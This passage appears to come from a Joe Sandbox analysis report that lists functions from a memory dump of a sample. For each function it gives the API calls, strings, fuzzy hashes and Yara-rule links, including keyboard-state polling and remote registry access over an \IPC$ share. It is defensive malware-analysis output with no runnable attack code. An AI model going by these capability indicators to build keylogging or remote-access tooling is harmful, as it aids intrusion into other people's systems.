Instruction Fuzzy Hash: E6318D76904209ABDB20DFA0DC49FAB37FCEF88B00F1041B5F619E6060EBB497448B24

Function 00B8E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00B8E6B4

Part of subcall function 00B3E551: timeGetTime.WINMM(?,?,00B8E6D4), ref: 00B3E555

Sleep.KERNEL32(0000000A), ref: 00B8E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 00B8E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00B8E727
SetActiveWindow.USER32 ref: 00B8E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00B8E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00B8E773
Sleep.KERNEL32(000000FA), ref: 00B8E77E
IsWindow.USER32 ref: 00B8E78A
EndDialog.USER32(00000000), ref: 00B8E79B

Strings

BUTTON, xrefs: 00B8E719

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 929944086f00ecf602448c4d576783a4aee1691684edf7a7b9c03024c5192c32
Instruction ID: fcb16e1dd5f5768529b3f947664563a6d572975ac1a2e103328a85bd9eb47a39
Opcode Fuzzy Hash: 929944086f00ecf602448c4d576783a4aee1691684edf7a7b9c03024c5192c32
Instruction Fuzzy Hash: 522129B4200205BFEB10AF64EC89A3A3BA9E755B49B101965F526D31B1DFB1EC00DB24

Function 00B8E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00B8EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00B8EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B8EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00B8EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00B8EAA7

Strings

play PlayMe wait, xrefs: 00B8EA91
alias PlayMe, xrefs: 00B8EA36
play PlayMe, xrefs: 00B8EAA2
open , xrefs: 00B8EA0C
status PlayMe mode, xrefs: 00B8EA58
close PlayMe, xrefs: 00B8EA6E, 00B8EA9B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 677c83c48a1350c6048f4f84a0b16c3ac54dcbb448d07b20bdbaca02b8d3ea7b
Instruction ID: 5086fe1356906d802d55904dadcb764e9294208fa00fc81eb75ab75f5f7fc78a
Opcode Fuzzy Hash: 677c83c48a1350c6048f4f84a0b16c3ac54dcbb448d07b20bdbaca02b8d3ea7b
Instruction Fuzzy Hash: B0118225A5026979D724E762DC4ADFF6BFCEBE5F40F0004A5B415A20E1DFB04944C6B0

Function 00B89F91 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00B8A012
SetKeyboardState.USER32(?), ref: 00B8A07D
GetAsyncKeyState.USER32(000000A0), ref: 00B8A09D
GetKeyState.USER32(000000A0), ref: 00B8A0B4
GetAsyncKeyState.USER32(000000A1), ref: 00B8A0E3
GetKeyState.USER32(000000A1), ref: 00B8A0F4
GetAsyncKeyState.USER32(00000011), ref: 00B8A120
GetKeyState.USER32(00000011), ref: 00B8A12E
GetAsyncKeyState.USER32(00000012), ref: 00B8A157
GetKeyState.USER32(00000012), ref: 00B8A165
GetAsyncKeyState.USER32(0000005B), ref: 00B8A18E
GetKeyState.USER32(0000005B), ref: 00B8A19C

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 148d930e8cd675ae8b0e9404151be4ddb8521b5689b2eaf45b9028ed1b96943b
Instruction ID: 87dbd6ea687d136b22cf7a35c2c018ff75a69a79fb7167b13a44faa63c6b1a5b
Opcode Fuzzy Hash: 148d930e8cd675ae8b0e9404151be4ddb8521b5689b2eaf45b9028ed1b96943b
Instruction Fuzzy Hash: 215199209047882AFF35FB708855BEAAFF5DF12380F0C45DAD5C2571E2EA54AA4CC762

Function 00B85CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00B85CE2
GetWindowRect.USER32(00000000,?), ref: 00B85CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00B85D59
GetDlgItem.USER32(?,00000002), ref: 00B85D69
GetWindowRect.USER32(00000000,?), ref: 00B85D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00B85DCF
GetDlgItem.USER32(?,000003E9), ref: 00B85DDD
GetWindowRect.USER32(00000000,?), ref: 00B85DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00B85E31
GetDlgItem.USER32(?,000003EA), ref: 00B85E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00B85E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00B85E67

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 373da03e4242da107d03b49b5f8beeac1b052be96f0160fb60acd9a2d34e7a78
Instruction ID: 8abd453fc52ec66e7e0bd3b3ddca474c7eda3bca3ecbef1add2d67ccaa485222
Opcode Fuzzy Hash: 373da03e4242da107d03b49b5f8beeac1b052be96f0160fb60acd9a2d34e7a78
Instruction Fuzzy Hash: 0E51FF71A00605AFDB18DF68DD89EAEBBF5FB48301F148269F916E7290DB709E04CB50

Function 00B38BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00B38F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00B38BE8,?,00000000,?,?,?,?,00B38BBA,00000000,?), ref: 00B38FC5

DestroyWindow.USER32(?), ref: 00B38C81
KillTimer.USER32(00000000,?,?,?,?,00B38BBA,00000000,?), ref: 00B38D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00B76973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00B38BBA,00000000,?), ref: 00B769A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00B38BBA,00000000,?), ref: 00B769B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00B38BBA,00000000), ref: 00B769D4
DeleteObject.GDI32(00000000), ref: 00B769E6

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: de90179dc08d818640d46bc7c647afb5856fbf1fd1786d9ccc469841c9316274
Instruction ID: aa234bbb324c5fc3f3466804a298cc3b8fa40b3c4f7979f1deb5e465d7825101
Opcode Fuzzy Hash: de90179dc08d818640d46bc7c647afb5856fbf1fd1786d9ccc469841c9316274
Instruction Fuzzy Hash: 66618C31501B00DFCB25DF29D948B257BF1FB54312F6499A8E0469B560CFB1AD81CBA2

Function 00B39838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00B39944: GetWindowLongW.USER32(?,000000EB), ref: 00B39952

GetSysColor.USER32(0000000F), ref: 00B39862

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 1cb48c2e7f2697ac63d51c5b51d221846167ce38ec1402bcbfc8eb2ee5dab906
Instruction ID: bfe65a267160e14279176f4e2afec28105416ba9b4c485d53edf35ae8f5692a7
Opcode Fuzzy Hash: 1cb48c2e7f2697ac63d51c5b51d221846167ce38ec1402bcbfc8eb2ee5dab906
Instruction Fuzzy Hash: 5241A031144640AFDB209F3C9C84BBA3BE5EB56370F244695F9B6972E1CBB19C42DB20

Function 00B896E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,00B6F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00B89717
LoadStringW.USER32(00000000,?,00B6F7F8,00000001), ref: 00B89720

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00B6F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00B89742
LoadStringW.USER32(00000000,?,00B6F7F8,00000001), ref: 00B89745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00B89866

Strings

Line %d:, xrefs: 00B897A0
Error: , xrefs: 00B8981D
%s (%d) : ==> %s: %s %s, xrefs: 00B8984A
^ ERROR, xrefs: 00B897FB
Line %d (File "%s"):, xrefs: 00B8978F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 25d9b45ee5eff2951a855d365f5fbd2e05ed2491f1f620eef568884cbe559a52
Instruction ID: 2c6156d6f106cf230d0cc089e4cf3fb66c10ecf91ffecde27e5339cce97d1623
Opcode Fuzzy Hash: 25d9b45ee5eff2951a855d365f5fbd2e05ed2491f1f620eef568884cbe559a52
Instruction Fuzzy Hash: 51410C72800219AACF04FBE0ED96DEEB7F8AF15740F5405A5F509720A2EB756F48CB61

Function 00B806DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00B26B57: _wcslen.LIBCMT ref: 00B26B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00B807A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00B807BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00B807DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00B80804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00B8082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B80837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B8083C

Strings

\IPC$, xrefs: 00B80784
SOFTWARE\Classes\, xrefs: 00B8070E
\CLSID, xrefs: 00B80724

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: d52a0ba6dca7e20a13e3d0519f21569749e23489c2a24ee00048bd842a386406
Instruction ID: 032d9ef59520ea5e71f37c9d5874400202ca9c3b0c3115697710662ccb4247ea
Opcode Fuzzy Hash: d52a0ba6dca7e20a13e3d0519f21569749e23489c2a24ee00048bd842a386406
Instruction Fuzzy Hash: 8D411976C10229ABCF21EFA4EC858EDB7B8FF04750F4445A9E905A7161EB705E48CBA0

Function 00BB3F98 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00BB403B
CreateCompatibleDC.GDI32(00000000), ref: 00BB4042
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00BB4055
SelectObject.GDI32(00000000,00000000), ref: 00BB405D
GetPixel.GDI32(00000000,00000000,00000000), ref: 00BB4068
DeleteDC.GDI32(00000000), ref: 00BB4072
GetWindowLongW.USER32(?,000000EC), ref: 00BB407C
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00BB4092
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 00BB409E

Strings

static, xrefs: 00BB3FD3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 3e7e6c7a5dda9bff55ff1d7e4b61a87f463309b31a855aeae5ea01c88eb73fd4
Instruction ID: d024609c6571df9ba2250614661742d436ba71cdd699c9a4473c18b0dd459fff
Opcode Fuzzy Hash: 3e7e6c7a5dda9bff55ff1d7e4b61a87f463309b31a855aeae5ea01c88eb73fd4
Instruction Fuzzy Hash: DC314B32501219ABDF219FA8DC49FEA3FA8FF0D720F110351FA55A61A1CBB5D810DB64

Function 00BA3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00BA3C5C
CoInitialize.OLE32(00000000), ref: 00BA3C8A
CoUninitialize.OLE32 ref: 00BA3C94
_wcslen.LIBCMT ref: 00BA3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00BA3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00BA3ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00BA3F0E
CoGetObject.OLE32(?,00000000,00BBFB98,?), ref: 00BA3F2D
SetErrorMode.KERNEL32(00000000), ref: 00BA3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00BA3FC4
VariantClear.OLEAUT32(?), ref: 00BA3FD8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: a8ebcf5c618aec79fa7ccd8c401a5692540ddbc9e1fb9eb37ed4df3a438a2101
Instruction ID: 6b3a03849345513e1ead20955e8a0fb48bfee91e411165b49bbf0001ba2cd9f0
Opcode Fuzzy Hash: a8ebcf5c618aec79fa7ccd8c401a5692540ddbc9e1fb9eb37ed4df3a438a2101
Instruction Fuzzy Hash: F1C138716083059FD700DF68C88492BBBE9FF8AB44F1449ADF9899B211DB71ED05CB52

Function 00B97A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00B97AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00B97B8F
SHGetDesktopFolder.SHELL32(?), ref: 00B97BA3
CoCreateInstance.OLE32(00BBFD08,00000000,00000001,00BE6E6C,?), ref: 00B97BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00B97C74
CoTaskMemFree.OLE32(?,?), ref: 00B97CCC
SHBrowseForFolderW.SHELL32(?), ref: 00B97D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00B97D7A
CoTaskMemFree.OLE32(00000000), ref: 00B97D81
CoTaskMemFree.OLE32(00000000), ref: 00B97DD6
CoUninitialize.OLE32 ref: 00B97DDC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: c483e430b8030845315ac21f26f910cc8a14138fe6b546c7324f982cc5910803
Instruction ID: 073da99ef6a32af33ba0bb7c2a89f04bfac9dc62bb8455a4034b0c919ca0dc0a
Opcode Fuzzy Hash: c483e430b8030845315ac21f26f910cc8a14138fe6b546c7324f982cc5910803
Instruction Fuzzy Hash: 4AC13A75A04119AFCB14DFA4C894DAEBBF9FF48304B1485A9F8199B361DB30EE41CB90

Function 00BB541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00BB5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BB5515
CharNextW.USER32(00000158), ref: 00BB5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00BB5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00BB559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BB55AC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 2817ee7ccf2a39c232c6cbb193629cf9cc4755ffa6cdc25faf2768ddffe7223c
Instruction ID: 6f2b0206f37960bb4fbfab07b07c1ac5b7bfbdf847252bf23c188b5c16508c52
Opcode Fuzzy Hash: 2817ee7ccf2a39c232c6cbb193629cf9cc4755ffa6cdc25faf2768ddffe7223c
Instruction Fuzzy Hash: 5A615A70900608AFDB20DF54CC85EFE7BB9EB09721F104585F965AB290DBB49A81DB62

Function 00B7FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00B7FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 00B7FB08
VariantInit.OLEAUT32(?), ref: 00B7FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00B7FB3A
VariantCopy.OLEAUT32(?,?), ref: 00B7FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00B7FBA1
VariantClear.OLEAUT32(?), ref: 00B7FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 00B7FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B7FBCC
VariantClear.OLEAUT32(?), ref: 00B7FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B7FBE9

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: e174379f9ff5c0870b7a0347725a72540e20f5cf6a7a1d2a068c69d89add107d
Instruction ID: 1454d63074824d1c44761ecd547d17369dc48e5125bf78b44cc06de129fe1f21
Opcode Fuzzy Hash: e174379f9ff5c0870b7a0347725a72540e20f5cf6a7a1d2a068c69d89add107d
Instruction Fuzzy Hash: 61414F35A0021ADFCF00DF68D8549BEBBF9EF48344F00C4A5E959A7361CB70AA45CBA4

Function 00B89C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00B89CA1
GetAsyncKeyState.USER32(000000A0), ref: 00B89D22
GetKeyState.USER32(000000A0), ref: 00B89D3D
GetAsyncKeyState.USER32(000000A1), ref: 00B89D57
GetKeyState.USER32(000000A1), ref: 00B89D6C
GetAsyncKeyState.USER32(00000011), ref: 00B89D84
GetKeyState.USER32(00000011), ref: 00B89D96
GetAsyncKeyState.USER32(00000012), ref: 00B89DAE
GetKeyState.USER32(00000012), ref: 00B89DC0
GetAsyncKeyState.USER32(0000005B), ref: 00B89DD8
GetKeyState.USER32(0000005B), ref: 00B89DEA

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: bdf135c759e78cb0b0d9266176178304e636725f31d74c37f6bd8a13578a889d
Instruction ID: 6cade90a96b63ac05be2858e3dc6ef34d332d6c299c2d4a9bfaf53bfda6bb936
